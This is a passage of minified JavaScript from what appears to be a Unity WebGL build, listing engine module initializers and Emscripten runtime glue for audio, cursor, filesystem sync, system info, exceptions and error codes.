){__GLOBAL__sub_I_Modules_XR_Tracing_0_cpp()})},{func:(function(){__GLOBAL__sub_I_XRWindowsLocatableCamera_cpp()})},{func:(function(){__GLOBAL__sub_I_External_il2cpp_builds_external_baselib_Platforms_WebGL_Source_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_os_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_icalls_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_vm_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_metadata_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_utils_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_vm_utils_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_mono_cpp()})},{func:(function(){__GLOBAL__sub_I_Lump_libil2cpp_gc_cpp()})},{func:(function(){___emscripten_environ_constructor()})},{func:(function(){__GLOBAL__sub_I_UIScriptingClasses_cpp()})},{func:(function(){___cxx_global_var_init_89()})},{func:(function(){__GLOBAL__sub_I_Modules_Terrain_Public_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Terrain_Public_3_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Terrain_VR_0_cpp()})},{func:(function(){__GLOBAL__sub_I_TextCoreScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_TextCore_Native_FontEngine_0_cpp()})},{func:(function(){__GLOBAL__sub_I_TextRenderingScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_TextRendering_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_TilemapScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Tilemap_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Tilemap_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_UIElementsNativeScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_External_Yoga_Yoga_0_cpp()})},{func:(function(){___cxx_global_var_init_19()})},{func:(function(){__GLOBAL__sub_I_Modules_UI_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_UI_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_UI_2_cpp()})},{func:(function(){__GLOBAL__sub_I_umbra_cpp()})},{func:(function(){__GLOBAL__sub_I_UnityAnalyticsScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_UnityAdsSettings_cpp()})},{func:(function(){__GLOBAL__sub_I_UnityWebRequestScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_UnityWebRequest_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_VFXScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_VFX_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_VFX_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_VFX_Public_Systems_0_cpp()})},{func:(function(){__GLOBAL__sub_I_VisualEffectAsset_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Input_0_cpp()})},{func:(function(){__GLOBAL__sub_I_GfxDeviceNull_cpp()})},{func:(function(){__GLOBAL__sub_I_External_ProphecySDK_BlitOperations_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_2D_Renderer_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_2D_Sorting_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_2D_SpriteAtlas_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Allocator_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Application_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_BaseClasses_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_BaseClasses_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_BaseClasses_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_BaseClasses_3_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Burst_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_VirtualFileSystem_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_6_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_7_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_8_cpp()})},{func:(function(){__GLOBAL__sub_I_Shadows_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_Culling_0_cpp()})},{func:(function(){__GLOBAL__sub_I_GUITexture_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_RenderLoops_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Camera_RenderLoops_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Containers_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Core_Callbacks_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_File_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Geometry_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Audio_Public_0_cpp()})},{func:(function(){___cxx_global_var_init()})},{func:(function(){__GLOBAL__sub_I_AccessibilityScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_AndroidJNIScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_AnimationScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Animation_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Animation_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Animation_7_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Animation_Constraints_0_cpp()})},{func:(function(){__GLOBAL__sub_I_AnimationClip_cpp()})},{func:(function(){__GLOBAL__sub_I_AssetBundleScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_AssetBundle_Public_0_cpp()})},{func:(function(){__GLOBAL__sub_I_AudioScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Video_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Audio_Public_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Audio_Public_3_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Audio_Public_ScriptBindings_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Audio_Public_sound_0_cpp()})},{func:(function(){__GLOBAL__sub_I_ClothScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Modules_Cloth_0_cpp()})},{func:(function(){___cxx_global_var_init_18()})},{func:(function(){__GLOBAL__sub_I_nvcloth_src_0_cpp()})},{func:(function(){__GLOBAL__sub_I_nvcloth_src_1_cpp()})},{func:(function(){__GLOBAL__sub_I_SwInterCollision_cpp()})},{func:(function(){__GLOBAL__sub_I_SwSolverKernel_cpp()})},{func:(function(){__GLOBAL__sub_I_artifacts_WebGL_codegenerator_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_GfxDevice_opengles_0_cpp()})},{func:(function(){___cxx_global_var_init_9()})},{func:(function(){__GLOBAL__sub_I_Runtime_Misc_2_cpp()})},{func:(function(){___cxx_global_var_init_131()})},{func:(function(){__GLOBAL__sub_I_Runtime_Misc_4_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Misc_5_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_PreloadManager_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Profiler_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Profiler_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Profiler_ExternalGPUProfiler_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Profiler_ScriptBindings_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_SceneManager_0_cpp()})},{func:(function(){___cxx_global_var_init_7752()})},{func:(function(){__GLOBAL__sub_I_Runtime_Shaders_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Shaders_3_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Shaders_GpuPrograms_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Misc_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Shaders_ShaderImpl_2_cpp()})},{func:(function(){___cxx_global_var_init_8909()})},{func:(function(){__GLOBAL__sub_I_Runtime_Transform_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Transform_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Utilities_2_cpp()})},{func:(function(){___cxx_global_var_init_9305()})},{func:(function(){__GLOBAL__sub_I_Runtime_Utilities_5_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Utilities_6_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Utilities_7_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Utilities_9_cpp()})},{func:(function(){__GLOBAL__sub_I_AssetBundleFileSystem_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Modules_0_cpp()})},{func:(function(){___cxx_global_var_init_18_1170()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Mesh_1_cpp()})},{func:(function(){___cxx_global_var_init_104()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_4_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_5_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_6_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_8_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_10_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_11_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Billboard_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_CommandBuffer_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_LOD_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Mesh_0_cpp()})},{func:(function(){__GLOBAL__sub_I_AIScriptingClasses_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Mesh_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Mesh_4_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_Mesh_5_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Graphics_ScriptableRenderLoop_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Interfaces_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Interfaces_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Interfaces_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Jobs_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Jobs_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Jobs_Internal_1_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Jobs_ScriptBindings_0_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Math_2_cpp()})},{func:(function(){__GLOBAL__sub_I_Runtime_Math_Random_0_cpp()})});var STATIC_BUMP=2672080;Module[\"STATIC_BASE\"]=STATIC_BASE;Module[\"STATIC_BUMP\"]=STATIC_BUMP;var tempDoublePtr=STATICTOP;STATICTOP+=16;function _JS_Cursor_SetImage(ptr,length){var binary=\"\";for(var i=0;i<length;i++)binary+=String.fromCharCode(HEAPU8[ptr+i]);Module.canvas.style.cursor=\"url(data:image/cur;base64,\"+btoa(binary)+\"),default\"}function _JS_Cursor_SetShow(show){Module.canvas.style.cursor=show?\"default\":\"none\"}function _JS_Eval_ClearInterval(id){window.clearInterval(id)}function _JS_Eval_SetInterval(func,arg,millis){Module[\"noExitRuntime\"]=true;function wrapper(){getFuncWrapper(func,\"vi\")(arg)}return Browser.safeSetInterval(wrapper,millis)}var fs={numPendingSync:0,syncInternal:1e3,syncInProgress:false,sync:(function(onlyPendingSync){if(onlyPendingSync){if(fs.numPendingSync==0)return}else if(fs.syncInProgress){fs.numPendingSync++;return}fs.syncInProgress=true;FS.syncfs(false,(function(err){fs.syncInProgress=false}));fs.numPendingSync=0})};function _JS_FileSystem_Initialize(){Module.setInterval((function(){fs.sync(true)}),fs.syncInternal)}function _JS_FileSystem_Sync(){fs.sync(false)}function _JS_Log_Dump(ptr,type){var str=Pointer_stringify(ptr);if(typeof dump==\"function\")dump(str);switch(type){case 0:case 1:case 4:console.error(str);return;case 2:console.warn(str);return;case 3:case 5:console.log(str);return;default:console.error(\"Unknown console message type!\");console.error(str)}}function _JS_Log_StackTrace(buffer,bufferSize){var trace=stackTrace();if(buffer)stringToUTF8(trace,buffer,bufferSize);return lengthBytesUTF8(trace)}var WEBAudio={audioInstances:[],audioContext:{},audioWebEnabled:0};function _JS_Sound_Create_Channel(callback,userData){if(WEBAudio.audioWebEnabled==0)return;var channel={gain:WEBAudio.audioContext.createGain(),panner:WEBAudio.audioContext.createPanner(),threeD:false,playBuffer:(function(delay,buffer,offset){this.source.buffer=buffer;var chan=this;this.source.onended=(function(){if(callback)dynCall(\"vi\",callback,[userData]);chan.setup()});this.source.start(delay,offset)}),setup:(function(){this.source=WEBAudio.audioContext.createBufferSource();this.setupPanning()}),setupPanning:(function(){if(this.threeD){this.source.disconnect();this.source.connect(this.panner);this.panner.connect(this.gain)}else{this.panner.disconnect();this.source.connect(this.gain)}})};channel.panner.rolloffFactor=0;channel.gain.connect(WEBAudio.audioContext.destination);channel.setup();return WEBAudio.audioInstances.push(channel)-1}function _JS_Sound_GetLength(bufferInstance){if(WEBAudio.audioWebEnabled==0)return 0;var sound=WEBAudio.audioInstances[bufferInstance];var sampleRateRatio=44100/sound.buffer.sampleRate;return sound.buffer.length*sampleRateRatio}function _JS_Sound_GetLoadState(bufferInstance){if(WEBAudio.audioWebEnabled==0)return 2;var sound=WEBAudio.audioInstances[bufferInstance];if(sound.error)return 2;if(sound.buffer)return 0;return 1}function _JS_Sound_Init(){try{window.AudioContext=window.AudioContext||window.webkitAudioContext;WEBAudio.audioContext=new AudioContext;var tryToResumeAudioContext=(function(){if(WEBAudio.audioContext.state===\"suspended\")WEBAudio.audioContext.resume();else Module.clearInterval(resumeInterval)});var resumeInterval=Module.setInterval(tryToResumeAudioContext,400);WEBAudio.audioWebEnabled=1}catch(e){alert(\"Web Audio API is not supported in this browser\")}}function _JS_Sound_Load(ptr,length){if(WEBAudio.audioWebEnabled==0)return 0;var sound={buffer:null,error:false};var instance=WEBAudio.audioInstances.push(sound)-1;var audioData=HEAPU8.buffer.slice(ptr,ptr+length);WEBAudio.audioContext.decodeAudioData(audioData,(function(buffer){sound.buffer=buffer}),(function(){sound.error=true;console.log(\"Decode error.\")}));return instance}function _JS_Sound_Load_PCM(channels,length,sampleRate,ptr){if(WEBAudio.audioWebEnabled==0)return 0;var sound={buffer:WEBAudio.audioContext.createBuffer(channels,length,sampleRate),error:false};for(var i=0;i<channels;i++){var offs=(ptr>>2)+length*i;var buffer=sound.buffer;var copyToChannel=buffer[\"copyToChannel\"]||(function(source,channelNumber,startInChannel){var clipped=source.subarray(0,Math.min(source.length,this.length-(startInChannel|0)));this.getChannelData(channelNumber|0).set(clipped,startInChannel|0)});copyToChannel.apply(buffer,[HEAPF32.subarray(offs,offs+length),i,0])}var instance=WEBAudio.audioInstances.push(sound)-1;return instance}function _JS_Sound_Play(bufferInstance,channelInstance,offset,delay){_JS_Sound_Stop(channelInstance,0);if(WEBAudio.audioWebEnabled==0)return;var sound=WEBAudio.audioInstances[bufferInstance];var channel=WEBAudio.audioInstances[channelInstance];if(sound.buffer){try{channel.playBuffer(WEBAudio.audioContext.currentTime+delay,sound.buffer,offset)}catch(e){console.error(\"playBuffer error. Exception: \"+e)}}else console.log(\"Trying to play sound which is not loaded.\")}function _JS_Sound_ReleaseInstance(instance){WEBAudio.audioInstances[instance]=null}function _JS_Sound_ResumeIfNeeded(){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.state===\"suspended\")WEBAudio.audioContext.resume()}function _JS_Sound_Set3D(channelInstance,threeD){var channel=WEBAudio.audioInstances[channelInstance];if(channel.threeD!=threeD){channel.threeD=threeD;channel.setupPanning()}}function _JS_Sound_SetListenerOrientation(x,y,z,xUp,yUp,zUp){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.forwardX){WEBAudio.audioContext.listener.forwardX.setValueAtTime(-x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardY.setValueAtTime(-y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.forwardZ.setValueAtTime(-z,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upX.setValueAtTime(xUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upY.setValueAtTime(yUp,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.upZ.setValueAtTime(zUp,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setOrientation(-x,-y,-z,xUp,yUp,zUp)}}function _JS_Sound_SetListenerPosition(x,y,z){if(WEBAudio.audioWebEnabled==0)return;if(WEBAudio.audioContext.listener.positionX){WEBAudio.audioContext.listener.positionX.setValueAtTime(x,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionY.setValueAtTime(y,WEBAudio.audioContext.currentTime);WEBAudio.audioContext.listener.positionZ.setValueAtTime(z,WEBAudio.audioContext.currentTime)}else{WEBAudio.audioContext.listener.setPosition(x,y,z)}}function _JS_Sound_SetLoop(channelInstance,loop){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].source.loop=loop}function _JS_Sound_SetLoopPoints(channelInstance,loopStart,loopEnd){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];channel.source.loopStart=loopStart;channel.source.loopEnd=loopEnd}function _JS_Sound_SetPitch(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].source.playbackRate.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error(\"Invalid audio pitch \"+v+\" specified to WebAudio backend!\")}}function _JS_Sound_SetPosition(channelInstance,x,y,z){if(WEBAudio.audioWebEnabled==0)return;WEBAudio.audioInstances[channelInstance].panner.setPosition(x,y,z)}function _JS_Sound_SetVolume(channelInstance,v){if(WEBAudio.audioWebEnabled==0)return;try{WEBAudio.audioInstances[channelInstance].gain.gain.setValueAtTime(v,WEBAudio.audioContext.currentTime)}catch(e){console.error(\"Invalid audio volume \"+v+\" specified to WebAudio backend!\")}}function _JS_Sound_Stop(channelInstance,delay){if(WEBAudio.audioWebEnabled==0)return;var channel=WEBAudio.audioInstances[channelInstance];if(channel.source.buffer){try{channel.source.stop(WEBAudio.audioContext.currentTime+delay)}catch(e){channel.source.disconnect()}if(delay==0){channel.source.onended=(function(){});channel.setup()}}}function _JS_SystemInfo_GetCanvasClientSize(domElementSelector,outWidth,outHeight){var selector=UTF8ToString(domElementSelector);var canvas=selector==\"#canvas\"?Module[\"canvas\"]:document.querySelector(selector);HEAPF64[outWidth>>3]=canvas?canvas.clientWidth:0;HEAPF64[outHeight>>3]=canvas?canvas.clientHeight:0}function _JS_SystemInfo_GetDocumentURL(buffer,bufferSize){if(buffer)stringToUTF8(document.URL,buffer,bufferSize);return lengthBytesUTF8(document.URL)}function _JS_SystemInfo_GetGPUInfo(buffer,bufferSize){var gpuinfo=Module.SystemInfo.gpu;if(buffer)stringToUTF8(gpuinfo,buffer,bufferSize);return lengthBytesUTF8(gpuinfo)}function _JS_SystemInfo_GetMatchWebGLToCanvasSize(){return Module.matchWebGLToCanvasSize||Module.matchWebGLToCanvasSize===undefined}function _JS_SystemInfo_GetMemory(){return TOTAL_MEMORY/(1024*1024)}function _JS_SystemInfo_GetOS(buffer,bufferSize){var browser=Module.SystemInfo.os+\" \"+Module.SystemInfo.osVersion;if(buffer)stringToUTF8(browser,buffer,bufferSize);return lengthBytesUTF8(browser)}function _JS_SystemInfo_GetPreferredDevicePixelRatio(){return Module.devicePixelRatio||window.devicePixelRatio||1}function _JS_SystemInfo_GetScreenSize(outWidth,outHeight){HEAPF64[outWidth>>3]=Module.SystemInfo.width;HEAPF64[outHeight>>3]=Module.SystemInfo.height}function _JS_SystemInfo_HasCursorLock(){return Module.SystemInfo.hasCursorLock}function _JS_SystemInfo_HasFullscreen(){return Module.SystemInfo.hasFullscreen}function _JS_SystemInfo_HasWebGL(){return Module.SystemInfo.hasWebGL}function ___atomic_compare_exchange_8(ptr,expected,desiredl,desiredh,weak,success_memmodel,failure_memmodel){var pl=HEAP32[ptr>>2];var ph=HEAP32[ptr+4>>2];var el=HEAP32[expected>>2];var eh=HEAP32[expected+4>>2];if(pl===el&&ph===eh){HEAP32[ptr>>2]=desiredl;HEAP32[ptr+4>>2]=desiredh;return 1}else{HEAP32[expected>>2]=pl;HEAP32[expected+4>>2]=ph;return 0}}function ___atomic_fetch_add_8(ptr,vall,valh,memmodel){var l=HEAP32[ptr>>2];var h=HEAP32[ptr+4>>2];HEAP32[ptr>>2]=_i64Add(l,h,vall,valh);HEAP32[ptr+4>>2]=getTempRet0();return(setTempRet0(h),l)|0}var ENV={};function ___buildEnvironment(environ){var MAX_ENV_VALUES=64;var TOTAL_ENV_SIZE=1024;var poolPtr;var envPtr;if(!___buildEnvironment.called){___buildEnvironment.called=true;ENV[\"USER\"]=ENV[\"LOGNAME\"]=\"web_user\";ENV[\"PATH\"]=\"/\";ENV[\"PWD\"]=\"/\";ENV[\"HOME\"]=\"/home/web_user\";ENV[\"LANG\"]=\"C.UTF-8\";ENV[\"_\"]=Module[\"thisProgram\"];poolPtr=getMemory(TOTAL_ENV_SIZE);envPtr=getMemory(MAX_ENV_VALUES*4);HEAP32[envPtr>>2]=poolPtr;HEAP32[environ>>2]=envPtr}else{envPtr=HEAP32[environ>>2];poolPtr=HEAP32[envPtr>>2]}var strings=[];var totalSize=0;for(var key in ENV){if(typeof ENV[key]===\"string\"){var line=key+\"=\"+ENV[key];strings.push(line);totalSize+=line.length}}if(totalSize>TOTAL_ENV_SIZE){throw new Error(\"Environment size exceeded TOTAL_ENV_SIZE!\")}var ptrSize=4;for(var i=0;i<strings.length;i++){var line=strings[i];writeAsciiToMemory(line,poolPtr);HEAP32[envPtr+i*ptrSize>>2]=poolPtr;poolPtr+=line.length+1}HEAP32[envPtr+strings.length*ptrSize>>2]=0}function ___cxa_allocate_exception(size){return _malloc(size)}function __ZSt18uncaught_exceptionv(){return!!__ZSt18uncaught_exceptionv.uncaught_exception}var EXCEPTIONS={last:0,caught:[],infos:{},deAdjust:(function(adjusted){if(!adjusted||EXCEPTIONS.infos[adjusted])return adjusted;for(var key in EXCEPTIONS.infos){var ptr=+key;var info=EXCEPTIONS.infos[ptr];if(info.adjusted===adjusted){return ptr}}return adjusted}),addRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount++}),decRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];assert(info.refcount>0);info.refcount--;if(info.refcount===0&&!info.rethrown){if(info.destructor){Module[\"dynCall_vi\"](info.destructor,ptr)}delete EXCEPTIONS.infos[ptr];___cxa_free_exception(ptr)}}),clearRef:(function(ptr){if(!ptr)return;var info=EXCEPTIONS.infos[ptr];info.refcount=0})};function ___cxa_begin_catch(ptr){var info=EXCEPTIONS.infos[ptr];if(info&&!info.caught){info.caught=true;__ZSt18uncaught_exceptionv.uncaught_exception--}if(info)info.rethrown=false;EXCEPTIONS.caught.push(ptr);EXCEPTIONS.addRef(EXCEPTIONS.deAdjust(ptr));return ptr}function ___cxa_free_exception(ptr){try{return _free(ptr)}catch(e){}}function ___cxa_end_catch(){Module[\"setThrew\"](0);var ptr=EXCEPTIONS.caught.pop();if(ptr){EXCEPTIONS.decRef(EXCEPTIONS.deAdjust(ptr));EXCEPTIONS.last=0}}function ___cxa_find_matching_catch_2(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_3(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_find_matching_catch_4(){return ___cxa_find_matching_catch.apply(null,arguments)}function ___cxa_pure_virtual(){ABORT=true;throw\"Pure virtual function called!\"}function ___cxa_rethrow(){var ptr=EXCEPTIONS.caught.pop();ptr=EXCEPTIONS.deAdjust(ptr);if(!EXCEPTIONS.infos[ptr].rethrown){EXCEPTIONS.caught.push(ptr);EXCEPTIONS.infos[ptr].rethrown=true}EXCEPTIONS.last=ptr;throw ptr}function ___resumeException(ptr){if(!EXCEPTIONS.last){EXCEPTIONS.last=ptr}throw ptr}function ___cxa_find_matching_catch(){var thrown=EXCEPTIONS.last;if(!thrown){return(setTempRet0(0),0)|0}var info=EXCEPTIONS.infos[thrown];var throwntype=info.type;if(!throwntype){return(setTempRet0(0),thrown)|0}var typeArray=Array.prototype.slice.call(arguments);var pointer=Module[\"___cxa_is_pointer_type\"](throwntype);if(!___cxa_find_matching_catch.buffer)___cxa_find_matching_catch.buffer=_malloc(4);HEAP32[___cxa_find_matching_catch.buffer>>2]=thrown;thrown=___cxa_find_matching_catch.buffer;for(var i=0;i<typeArray.length;i++){if(typeArray[i]&&Module[\"___cxa_can_catch\"](typeArray[i],throwntype,thrown)){thrown=HEAP32[thrown>>2];info.adjusted=thrown;return(setTempRet0(typeArray[i]),thrown)|0}}thrown=HEAP32[thrown>>2];return(setTempRet0(throwntype),thrown)|0}function ___cxa_throw(ptr,type,destructor){EXCEPTIONS.infos[ptr]={ptr:ptr,adjusted:ptr,type:type,destructor:destructor,refcount:0,caught:false,rethrown:false};EXCEPTIONS.last=ptr;if(!(\"uncaught_exception\"in __ZSt18uncaught_exceptionv)){__ZSt18uncaught_exceptionv.uncaught_exception=1}else{__ZSt18uncaught_exceptionv.uncaught_exception++}throw ptr}function ___gxx_personality_v0(){}function ___lock(){}var ERRNO_CODES={EPERM:1,ENOENT:2,ESRCH:3,EINTR:4,EIO:5,ENXIO:6,E2BIG:7,ENOEXEC:8,EBADF:9,ECHILD:10,EAGAIN:11,EWOULDBLOCK:11,ENOMEM:12,EACCES:13,EFAULT:14,ENOTBLK:15,EBUSY:16,EEXIST:17,EXDEV:18,ENODEV:19,ENOTDIR:20,EISDIR:21,EINVAL:22,ENFILE:23,EMFILE:24,ENOTTY:25,ETXTBSY:26,EFBIG:27,ENOSPC:28,ESPIPE:29,EROFS:30,EMLINK:31,EPIPE:32,EDOM:33,ERANGE:34,ENOMSG:42,EIDRM:43,ECHRNG:44,EL2NSYNC:45,EL3HLT:46,EL3RST:47,ELNRNG:48,EUNATCH:49,ENOCSI:50,EL2HLT:51,EDEADLK:35,ENOLCK:37,EBADE:52,EBADR:53,EXFULL:54,ENOANO:55,EBADRQC:56,EBADSLT:57,EDEADLOCK:35,EBFONT:59,ENOSTR:60,ENODATA:61,ETIME:62,ENOSR:63,ENONET:64,ENOPKG:65,EREMOTE:66,ENOLINK:67,EADV:68,ESRMNT:69,ECOMM:70,EPROTO:71,EMULTIHOP:72,EDOTDOT:73,EBADMSG:74,ENOTUNIQ:76,EBADFD:77,EREMCHG:78,ELIBACC:79,ELIBBAD:80,ELIBSCN:81,ELIBMAX:82,ELIBEXEC:83,ENOSYS:38,ENOTEMPTY:39,ENAMETOOLONG:36,ELOOP:40,EOPNOTSUPP:95,EPFNOSUPPORT:96,ECONNRESET:104,ENOBUFS:105,EAFNOSUPPORT:97,EPROTOTYPE:91,ENOTSOCK:88,ENOPROTOOPT:92,ESHUTDOWN:108,ECONNREFUSED:111,EADDRINUSE:98,ECONNABORTED:103,ENETUNREACH:101,ENETDOWN:100,ETIMEDOUT:110,EHOSTDOWN:112,EHOSTUNREACH:113,EINPROGRESS:115,EALREADY:114,EDESTADDRREQ:89,EMSGSIZE:90,EPROTONOSUPPORT:93,ESOCKTNOSUPPORT:94,EADDRNOTAVAIL:99,ENETRESET:102,EISCONN:106,ENOTCONN:107,ETOOMANYREFS:109,EUSERS:87,EDQUOT:122,ESTALE:116,ENOTSUP:95,ENOMEDIUM:123,EILSEQ:84,EOVERFLOW:75,ECANCELED:125,ENOTRECOVERABLE:131,EOWNERDEAD:130,ESTRPIPE:86};function ___setErrNo(value){if(Module[\"___errno_location\"])HEAP32[Module[\"___errno_location\"]()>>2]=value;return value}function ___map_file(pathname,size){___setErrNo(ERRNO_CODES.EPERM);return-1}var ERRNO_MESSAGES={0:\"Success\",1:\"Not super-user\",2:\"No such file or directory\",3:\"No such process\",4:\"Interrupted system call\",5:\"I/O error\",6:\"No such device or address\",7:\"Arg list too long\",8:\"Exec format error\",9:\"Bad file number\",10:\"No children\",11:\"No more processes\",12:\"Not enough core\",13:\"Permission denied\",14:\"Bad address\",15:\"Block device required\",16:\"Mount device busy\",17:\"File exists\",18:\"Cross-device link\",19:\"No such device\",20:\"Not a directory\",21:\"Is a directory\",22:\"Invalid argument\",23:\"Too many open files in system\",24:\"Too many open files\",25:\"Not a typewriter\",26:\"Text file busy\",27:\"File too large\",28:\"No space left on device\",29:\"Illegal seek\",30:\"Read only file system\",31:\"Too many links\",32:\"Broken pipe\",33:\"Math arg out of domain of func\",34:\"Math result not 